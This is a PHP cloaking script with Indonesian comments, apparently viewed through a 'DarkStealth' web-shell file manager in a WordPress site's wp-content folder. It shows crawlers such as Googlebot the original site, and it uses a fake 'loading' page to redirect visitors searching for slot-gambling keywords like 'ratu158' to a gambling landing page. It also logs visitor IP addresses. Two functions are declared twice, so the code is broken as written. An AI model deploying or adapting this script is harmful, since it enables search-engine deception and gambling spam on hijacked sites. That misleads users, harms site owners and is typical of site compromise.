📄 Viewing: cloaking_complete.php

<?php
/**
 * Complete Cloaking Script
 * Script cloaking untuk path dan halaman utama dalam 1 file
 * Support: multiple paths, homepage, bot detection, source detection
 */

// ============================================
// KONFIGURASI
// ============================================

// ============================================
// 1. WEBSITE ASLI (ORIGINAL WEBSITE)
// ============================================
// Website asli Anda - untuk direct link access
// Jika user akses link langsung (bukan dari search/keyword), akan redirect ke sini
$ORIGINAL_WEBSITE = "https://matrixmodels.com/wp-content.php";

// ============================================
// 2. HALAMAN UTAMA (ROOT /)
// ============================================
// Konfigurasi untuk halaman utama: https://yoursite.com/
$HOMEPAGE_CONFIG = [
    'mode' => 'redirect', // 'redirect' = redirect ke landing page | 'show_content' = tampilkan content langsung
    
    // ⬇️ LINK YANG DI-REDIRECT UNTUK HALAMAN UTAMA (jika mode = 'redirect')
    'landing_page' => "https://matrixmodels.com/wp-content.php/ratu158.html", // Ganti dengan landing page Anda untuk homepage
    
    // Content jika mode = 'show_content'
    // ⬇️ PILIH SALAH SATU OPSI DI BAWAH:
    
    // Opsi 1: Load dari website asli (RECOMMENDED - sesuai dengan ORIGINAL_WEBSITE)
    'content_source' => 'original_website', // 'original_website' = load dari $ORIGINAL_WEBSITE | 'file' = load dari file | 'custom' = gunakan content di bawah
    
    // Opsi 2: Load dari file HTML (jika content_source = 'file')
    'content_file' => 'ratu158.html', // Path ke file HTML (contoh: 'templates/homepage.html')
    
    // Opsi 3: Custom content langsung (jika content_source = 'custom')
    'content' => '<!DOCTYPE html><html><head><title>Home</title></head><body><h1>Welcome</h1></body></html>'
];

// ============================================
// KEYWORD-BASED REDIRECT (OPTIONAL)
// ============================================
// Redirect berdasarkan keyword yang dicari di Google
// Jika user search keyword tertentu, akan redirect ke landing page yang sesuai
$KEYWORD_REDIRECT = [
    // Keyword => landing page
    'ratu158' => "https://matrixmodels.com/wp-content.php/ratu158.html",
    'ratu 158' => "https://matrixmodels.com/wp-content.php/ratu158.html",
    'situs slot resmi' => "https://matrixmodels.com/wp-content.php/ratu158.html",
    'ratu158 login' => "https://matrixmodels.com/wp-content.php/ratu158.html",
    // Tambahkan keyword lain sesuai kebutuhan
    // 'keyword2' => "https://matrixmodels.com/page2.html",
    // 'keyword3' => "https://matrixmodels.com/page3.html",
];

// ============================================
// 3. PATH TERTENTU (LANDING PAGE PER PATH)
// ============================================
// Konfigurasi untuk path tertentu: /about, /contact, /products, dll
// Setiap path bisa punya landing page berbeda per source (Google Ads, Organic, Facebook, Direct)
$PATH_CONFIG = [
    // Contoh: Path dengan file HTML /ratu158.html
    '/ratu158.html' => [
        'google_ads' => "https://matrixmodels.com/wp-content.php/ratu158.html",
        'google_organic' => "https://matrixmodels.com/wp-content.php/ratu158.html", // ⬅️ Keyword "ratu158" akan redirect ke sini
        'facebook_ads' => "https://matrixmodels.com/wp-content.php/ratu158.html",
        'direct' => "https://matrixmodels.com/wp-content.php/ratu158.html" // Direct link → file asli
    ],
    
    // Contoh: Path /about
    '/about' => [
        // ⬇️ LINK YANG DI-REDIRECT UNTUK GOOGLE ADS
        'google_ads' => "https://landing.com/about-ads", // Ganti dengan landing page Google Ads Anda
        
        // ⬇️ LINK YANG DI-REDIRECT UNTUK KEYWORD SEARCH (ORGANIC)
        'google_organic' => "https://landing.com/about-organic", // Ganti dengan landing page Organic Anda
        
        // ⬇️ LINK YANG DI-REDIRECT UNTUK FACEBOOK ADS
        'facebook_ads' => "https://landing.com/about-fb", // Ganti dengan landing page Facebook Ads Anda
        
        // ⬇️ DIRECT LINK → Website asli (biasanya sama dengan $ORIGINAL_WEBSITE + path)
        'direct' => "https://matrixmodels.com/about" // Web asli untuk direct link
    ],
    
    // Contoh: Path /contact
    '/contact' => [
        'google_ads' => "https://landing.com/contact-ads", // ⬅️ LINK REDIRECT GOOGLE ADS
        'google_organic' => "https://landing.com/contact-organic", // ⬅️ LINK REDIRECT ORGANIC
        'facebook_ads' => "https://landing.com/contact-fb", // ⬅️ LINK REDIRECT FACEBOOK ADS
        'direct' => "https://matrixmodels.com/contact" // ⬅️ DIRECT LINK → Web asli
    ],
    
    // Contoh: Path /products
    '/products' => [
        'google_ads' => "https://landing.com/products-ads", // ⬅️ LINK REDIRECT GOOGLE ADS
        'google_organic' => "https://landing.com/products-organic", // ⬅️ LINK REDIRECT ORGANIC
        'facebook_ads' => "https://landing.com/products-fb", // ⬅️ LINK REDIRECT FACEBOOK ADS
        'direct' => "https://matrixmodels.com/products" // ⬅️ DIRECT LINK → Web asli
    ],
    
    // Tambahkan path lain sesuai kebutuhan
    // '/services' => [
    //     'google_ads' => "https://landing.com/services-ads",
    //     'google_organic' => "https://landing.com/services-organic",
    //     'facebook_ads' => "https://landing.com/services-fb",
    //     'direct' => "https://matrixmodels.com/services"
    // ],
];

// ============================================
// 4. LANDING PAGE DEFAULT
// ============================================
// Landing page untuk path yang TIDAK ADA di $PATH_CONFIG
// Jika user akses path yang tidak dikonfigurasi, akan menggunakan ini
$DEFAULT_LANDING = [
    // ⬇️ LINK YANG DI-REDIRECT UNTUK GOOGLE ADS (default)
    'google_ads' => "https://landing.com/default-ads", // Ganti dengan landing page default Google Ads
    
    // ⬇️ LINK YANG DI-REDIRECT UNTUK KEYWORD SEARCH (default)
    'google_organic' => "https://landing.com/default-organic", // Ganti dengan landing page default Organic
    
    // ⬇️ LINK YANG DI-REDIRECT UNTUK FACEBOOK ADS (default)
    'facebook_ads' => "https://landing.com/default-fb", // Ganti dengan landing page default Facebook Ads
    
    // ⬇️ DIRECT LINK → Website asli
    'direct' => "https://matrixmodels.com" // Web asli (sama dengan $ORIGINAL_WEBSITE)
];

// Mode redirect
$REDIRECT_MODE = 'keyword_only'; // 'keyword_only' = keyword search → landing, direct link → web asli | 'all' = semua → landing

// Enable logging
$ENABLE_LOGGING = true;
$LOG_FILE = "cloaking_logs.txt";

// Delay sebelum redirect (dalam detik)
$REDIRECT_DELAY = 2;

// Bot user agents
$BOT_USER_AGENTS = [
    'googlebot', 'bingbot', 'slurp', 'duckduckbot', 'baiduspider', 'yandexbot',
    'sogou', 'exabot', 'facebot', 'ia_archiver', 'facebookexternalhit',
    'twitterbot', 'rogerbot', 'linkedinbot', 'embedly', 'quora link preview',
    'showyoubot', 'outbrain', 'pinterest', 'developers.google.com/+/web/snippet',
    'www.google.com/webmasters/tools/richsnippets', 'validator', 'w3c',
    'whatsapp', 'telegram'
];

// ============================================
// FUNGSI UTILITY
// ============================================

function logActivity($message) {
    global $ENABLE_LOGGING, $LOG_FILE;
    if ($ENABLE_LOGGING) {
        $timestamp = date('Y-m-d H:i:s');
        $ip = $_SERVER['REMOTE_ADDR'] ?? 'unknown';
        $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? 'unknown';
        $path = $_SERVER['REQUEST_URI'] ?? 'unknown';
        $log_entry = "[$timestamp] IP: $ip | Path: $path | $message | UA: $user_agent\n";
        file_put_contents($LOG_FILE, $log_entry, FILE_APPEND);
    }
}

function isBot() {
    global $BOT_USER_AGENTS;
    $user_agent = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');
    foreach ($BOT_USER_AGENTS as $bot) {
        if (strpos($user_agent, strtolower($bot)) !== false) {
            return true;
        }
    }
    return false;
}

function isGoogleAds() {
    if (isset($_GET['utm_source']) && strtolower($_GET['utm_source']) == 'google') {
        if (isset($_GET['utm_medium']) && strtolower($_GET['utm_medium']) == 'cpc') {
            return true;
        }
    }
    if (isset($_GET['gclid'])) {
        return true;
    }
    $referer = $_SERVER['HTTP_REFERER'] ?? '';
    if (strpos($referer, 'googleadservices.com') !== false || 
        strpos($referer, 'doubleclick.net') !== false) {
        return true;
    }
    return false;
}

function isGoogleOrganic() {
    $referer = $_SERVER['HTTP_REFERER'] ?? '';
    if (strpos($referer, 'google.com/search') !== false ||
        strpos($referer, 'google.co.id/search') !== false ||
        strpos($referer, 'google.com/webhp') !== false) {
        if (strpos($referer, 'q=') !== false || strpos($referer, 'query=') !== false) {
            return true;
        }
    }
    if (isset($_GET['utm_source']) && strtolower($_GET['utm_source']) == 'google') {
        if (isset($_GET['utm_medium']) && strtolower($_GET['utm_medium']) == 'organic') {
            return true;
        }
    }
    return false;
}

/**
 * Extract keyword dari Google Search referer
 */
function getSearchKeyword() {
    $referer = $_SERVER['HTTP_REFERER'] ?? '';
    
    // Extract keyword dari Google Search URL
    if (preg_match('/[?&]q=([^&]+)/', $referer, $matches)) {
        return urldecode($matches[1]);
    }
    if (preg_match('/[?&]query=([^&]+)/', $referer, $matches)) {
        return urldecode($matches[1]);
    }
    
    return null;
}

/**
 * Cek apakah keyword match dengan keyword redirect
 */
function getKeywordRedirect($keyword) {
    global $KEYWORD_REDIRECT;
    
    if (empty($keyword)) {
        return null;
    }
    
    $keyword_lower = strtolower(trim($keyword));
    
    // Exact match
    if (isset($KEYWORD_REDIRECT[$keyword_lower])) {
        return $KEYWORD_REDIRECT[$keyword_lower];
    }
    
    // Partial match (keyword mengandung kata kunci)
    foreach ($KEYWORD_REDIRECT as $key => $url) {
        $key_lower = strtolower($key);
        // Cek apakah keyword mengandung key atau sebaliknya
        if (strpos($keyword_lower, $key_lower) !== false || strpos($key_lower, $keyword_lower) !== false) {
            return $url;
        }
    }
    
    return null;
}

/**
 * Extract keyword dari Google Search referer
 */
function getSearchKeyword() {
    $referer = $_SERVER['HTTP_REFERER'] ?? '';
    
    // Extract keyword dari Google Search URL
    if (preg_match('/[?&]q=([^&]+)/', $referer, $matches)) {
        return urldecode($matches[1]);
    }
    if (preg_match('/[?&]query=([^&]+)/', $referer, $matches)) {
        return urldecode($matches[1]);
    }
    
    return null;
}

/**
 * Cek apakah keyword match dengan keyword redirect
 */
function getKeywordRedirect($keyword) {
    global $KEYWORD_REDIRECT;
    
    if (empty($keyword)) {
        return null;
    }
    
    $keyword_lower = strtolower(trim($keyword));
    
    // Exact match
    if (isset($KEYWORD_REDIRECT[$keyword_lower])) {
        return $KEYWORD_REDIRECT[$keyword_lower];
    }
    
    // Partial match (keyword mengandung kata kunci)
    foreach ($KEYWORD_REDIRECT as $key => $url) {
        $key_lower = strtolower($key);
        // Cek apakah keyword mengandung key atau sebaliknya
        if (strpos($keyword_lower, $key_lower) !== false || strpos($key_lower, $keyword_lower) !== false) {
            return $url;
        }
    }
    
    return null;
}

function isFacebookAds() {
    if (isset($_GET['utm_source']) && strtolower($_GET['utm_source']) == 'facebook') {
        if (isset($_GET['utm_medium']) && strtolower($_GET['utm_medium']) == 'cpc') {
            return true;
        }
    }
    if (isset($_GET['fbclid'])) {
        return true;
    }
    $referer = $_SERVER['HTTP_REFERER'] ?? '';
    if (strpos($referer, 'facebook.com') !== false || strpos($referer, 'fb.com') !== false) {
        return true;
    }
    return false;
}

function isDirectLink() {
    $referer = $_SERVER['HTTP_REFERER'] ?? '';
    if (empty($referer)) {
        return true;
    }
    $search_engines = ['google.com', 'bing.com', 'yahoo.com', 'duckduckgo.com', 'yandex.com'];
    $is_from_search = false;
    foreach ($search_engines as $engine) {
        if (strpos($referer, $engine) !== false) {
            $is_from_search = true;
            break;
        }
    }
    if (!$is_from_search && !isGoogleAds() && !isFacebookAds()) {
        return true;
    }
    return false;
}

function getTrafficSource() {
    if (isGoogleAds()) {
        return 'google_ads';
    } elseif (isGoogleOrganic()) {
        return 'google_organic';
    } elseif (isFacebookAds()) {
        return 'facebook_ads';
    } else {
        return 'direct';
    }
}

function getCurrentPath() {
    $request_uri = $_SERVER['REQUEST_URI'] ?? '/';
    $parsed = parse_url($request_uri);
    $path = $parsed['path'] ?? '/';
    
    // Remove query string dari path
    $path = rtrim($path, '/');
    if (empty($path)) {
        $path = '/';
    }
    
    return $path;
}

function generateCloakingHTML($redirect_url, $delay = 2) {
    $html = '<!DOCTYPE html>
<html lang="id">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Loading...</title>
    <meta name="robots" content="noindex, nofollow">
    <style>
        body {
            margin: 0;
            padding: 0;
            background: #f5f5f5;
            font-family: Arial, sans-serif;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
        }
        .loader {
            text-align: center;
        }
        .spinner {
            border: 4px solid #f3f3f3;
            border-top: 4px solid #3498db;
            border-radius: 50%;
            width: 40px;
            height: 40px;
            animation: spin 1s linear infinite;
            margin: 0 auto 20px;
        }
        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }
        .text {
            color: #666;
            font-size: 14px;
        }
    </style>
</head>
<body>
    <div class="loader">
        <div class="spinner"></div>
        <div class="text">Memuat halaman...</div>
    </div>
    <script>
        setTimeout(function() {
            window.location.href = "' . htmlspecialchars($redirect_url, ENT_QUOTES, 'UTF-8') . '";
        }, ' . ($delay * 1000) . ');
    </script>
</body>
</html>';
    return $html;
}

function redirectWithCloaking($url) {
    $parsed_url = parse_url($url);
    $query_params = [];
    if (isset($parsed_url['query'])) {
        parse_str($parsed_url['query'], $query_params);
    }
    
    $query_params['_t'] = time();
    $query_params['_r'] = $_SERVER['REMOTE_ADDR'] ?? 'unknown';
    
    $final_url = $parsed_url['scheme'] . '://' . $parsed_url['host'];
    if (isset($parsed_url['path'])) {
        $final_url .= $parsed_url['path'];
    }
    if (!empty($query_params)) {
        $final_url .= '?' . http_build_query($query_params);
    }
    if (isset($parsed_url['fragment'])) {
        $final_url .= '#' . $parsed_url['fragment'];
    }
    
    echo generateCloakingHTML($final_url, $GLOBALS['REDIRECT_DELAY']);
    exit;
}

function redirectDirect($url) {
    header("Location: $url", true, 302);
    exit;
}

// ============================================
// MAIN LOGIC
// ============================================

// Cek bot
if (isBot()) {
    logActivity("Bot detected - showing original content");
    // Bot selalu lihat web asli
    $path = getCurrentPath();
    if ($path == '/') {
        redirectDirect($ORIGINAL_WEBSITE);
    } else {
        redirectDirect($ORIGINAL_WEBSITE . $path);
    }
    exit;
}

// Get current path
$current_path = getCurrentPath();
$traffic_source = getTrafficSource();

logActivity("Path: $current_path | Source: $traffic_source");

// Handle keyword-based redirect (jika dari Google Organic Search)
if (isGoogleOrganic()) {
    $search_keyword = getSearchKeyword();
    if ($search_keyword) {
        $keyword_redirect = getKeywordRedirect($search_keyword);
        if ($keyword_redirect) {
            logActivity("Keyword detected: '$search_keyword' - redirecting to: $keyword_redirect");
            redirectWithCloaking($keyword_redirect);
            exit;
        }
    }
}

// Handle homepage (root /)
if ($current_path == '/') {
    if ($HOMEPAGE_CONFIG['mode'] == 'show_content') {
        // Show content berdasarkan source
        $content_source = $HOMEPAGE_CONFIG['content_source'] ?? 'custom';
        $content = '';
        
        if ($content_source == 'original_website') {
            // Load content dari website asli (sesuai dengan ORIGINAL_WEBSITE)
            try {
                $original_url = rtrim($ORIGINAL_WEBSITE, '/') . '/';
                // Setup context untuk request dengan timeout dan user agent
                $context = stream_context_create([
                    'http' => [
                        'timeout' => 10,
                        'user_agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36',
                        'follow_location' => true,
                        'max_redirects' => 5
                    ]
                ]);
                $content = @file_get_contents($original_url, false, $context);
                if ($content === false) {
                    // Fallback jika tidak bisa load
                    $content = $HOMEPAGE_CONFIG['content'] ?? '<!DOCTYPE html><html><head><title>Home</title></head><body><h1>Welcome</h1></body></html>';
                    logActivity("Homepage - failed to load from original website ($original_url), using fallback");
                } else {
                    logActivity("Homepage - content loaded from original website: $original_url");
                }
            } catch (Exception $e) {
                $content = $HOMEPAGE_CONFIG['content'] ?? '<!DOCTYPE html><html><head><title>Home</title></head><body><h1>Welcome</h1></body></html>';
                logActivity("Homepage - error loading from original website: " . $e->getMessage());
            }
        } elseif ($content_source == 'file') {
            // Load content dari file
            $content_file = $HOMEPAGE_CONFIG['content_file'] ?? 'ratu158.html';
            if (file_exists($content_file)) {
                $content = file_get_contents($content_file);
                logActivity("Homepage - content loaded from file: $content_file");
            } else {
                $content = $HOMEPAGE_CONFIG['content'] ?? '<!DOCTYPE html><html><head><title>Home</title></head><body><h1>Welcome</h1></body></html>';
                logActivity("Homepage - file not found: $content_file, using fallback");
            }
        } else {
            // Custom content
            $content = $HOMEPAGE_CONFIG['content'] ?? '<!DOCTYPE html><html><head><title>Home</title></head><body><h1>Welcome</h1></body></html>';
            logActivity("Homepage - showing custom content");
        }
        
        echo $content;
        exit;
    } else {
        // Redirect ke landing page
        $landing_url = $HOMEPAGE_CONFIG['landing_page'];
        
        // Cek apakah direct link dan mode = keyword_only
        if ($REDIRECT_MODE == 'keyword_only' && isDirectLink()) {
            redirectDirect($ORIGINAL_WEBSITE);
            logActivity("Homepage - direct link to original website");
            exit;
        }
        
        redirectWithCloaking($landing_url);
        logActivity("Homepage - redirecting to landing page");
        exit;
    }
}

// Handle specific paths
if (isset($PATH_CONFIG[$current_path])) {
    $path_config = $PATH_CONFIG[$current_path];
    
    // Get landing page berdasarkan source
    $landing_url = $path_config[$traffic_source] ?? $path_config['direct'] ?? $ORIGINAL_WEBSITE . $current_path;
    
    // Cek apakah direct link dan mode = keyword_only
    if ($REDIRECT_MODE == 'keyword_only' && $traffic_source == 'direct' && isDirectLink()) {
        // Direct link → web asli
        redirectDirect($ORIGINAL_WEBSITE . $current_path);
        logActivity("Path $current_path - direct link to original website");
        exit;
    }
    
    // Redirect ke landing page
    redirectWithCloaking($landing_url);
    logActivity("Path $current_path - redirecting to landing page (Source: $traffic_source)");
    exit;
}

// Path tidak ada di config → gunakan default
$default_landing = $DEFAULT_LANDING[$traffic_source] ?? $DEFAULT_LANDING['direct'] ?? $ORIGINAL_WEBSITE;

// Cek apakah direct link dan mode = keyword_only
if ($REDIRECT_MODE == 'keyword_only' && $traffic_source == 'direct' && isDirectLink()) {
    redirectDirect($ORIGINAL_WEBSITE . $current_path);
    logActivity("Path $current_path (not in config) - direct link to original website");
    exit;
}

// Redirect ke default landing
redirectWithCloaking($default_landing);
logActivity("Path $current_path (not in config) - redirecting to default landing (Source: $traffic_source)");

?>


🌑 DarkStealth — WP Plugin Edition

Directory: /home/httpd/html/matrixmodels.com/public_html/wp-content